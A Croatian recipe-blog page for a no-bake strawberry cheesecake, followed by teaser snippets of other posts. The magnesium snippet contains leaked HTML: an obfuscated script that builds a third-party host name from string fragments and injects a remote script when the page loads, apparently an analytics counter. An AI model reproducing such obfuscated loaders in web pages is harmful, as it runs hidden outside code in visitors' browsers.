CHEESECAKE S JAGODAMA 🍓





Cheesecake s jagodama 



Ovaj cheesecake s jagodama koji se ne peče inspiriran je klasičnim američkim cheesecakeom, ali u puno jednostavnijoj verziji. Ne morate se mučiti s pećnicom, ali morat ćete malo pričekati sa de stegne u hladnjaku.




Cheesecake s jagodama 


Sastojci:

Podloga

  • 105 g graham krekera (ili mljevenog keksa)
  • 55 g maslaca, otopljenog
  • 2 žlice (40 g) nutelle
  • 2 žlice smeđeg šećera
  • prstohvat soli
  • 2 žlice kakaa

Preljev od jagoda

  • 455 g jagoda (svježe ili smrznute)
  • 55 g šećera
  • 1/2 mahune vanilije
  • 1,5 vrećice želatine u prahu
  • 2 žlice vode (za kuhanje)
  • 2 žlice hladne vode (za želatinu)

Krema

  • 450 g krem sira (sobne temperature)
  • 75 g šećera u prahu
  • čajna žličica ekstrakta vanilije
  • oko 300 ml preljeva od jagoda (od pripremljenog)
  • 120 ml slatkog vrhnja za šlag
  • svježe jagode za dekoraciju



Priprema:

  1. Usitnite kekse u fini prah (u multipraktiku ili ručno). Dodajte otopljeni maslac, nutellu, šećer, kakao i prstohvat soli te sve dobro izmiješajte dok ne dobijete ujednačenu smjesu.
  2. Smjesu utisnite u kalup (20–23 cm promjera), ravnomjerno po dnu i lagano uz rubove. Stavite u hladnjak dok pripremate ostatak.
  3. U loncu pomiješajte jagode, šećer i 2 žlice vode. Kuhajte na srednje jakoj vatri dok jagode ne omekšaju.
  4. Izmiksajte u glatki pire (štapnim mikserom ili u blenderu).
  5. Želatinu pospite po 2 žlice hladne vode i ostavite 1–2 minute da nabubri. Dodajte je u topli pire i lagano zagrijavajte uz miješanje dok se potpuno ne otopi.
  6. Odvojite oko 180 ml preljeva za završni sloj i ostavite sa strane.
  7. Krem sir i šećer u prahu miksajte dok ne postanu glatki i kremasti. Dodajte vaniliju i većinu preljeva od jagoda (osim odvojenog dijela).
  8. U drugoj zdjeli istucite slatko vrhnje u srednje čvrst šlag, pa ga lagano umiješajte u smjesu sa sirom. Miješajte nježno da krema ostane prozračna.
  9. Kremu izlijte na pripremljenu podlogu i lagano protresite kalup kako bi izašli mjehurići zraka.
  10. Stavite u hladnjak na oko 2 sata, dok se ne stisne na dodir.
  11. Zatim prelijte preostali preljev od jagoda (ako se stisnuo, kratko ga zagrijte da postane tekuć).
  12. Vratite u hladnjak još 30 minuta, dok se gornji sloj ne stegne.
  13. Prije vađenja iz kalupa, nožem lagano prođite uz rub kako biste odvojili kolač. Ukrasite svježim jagodama i poslužite dobro ohlađeno.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više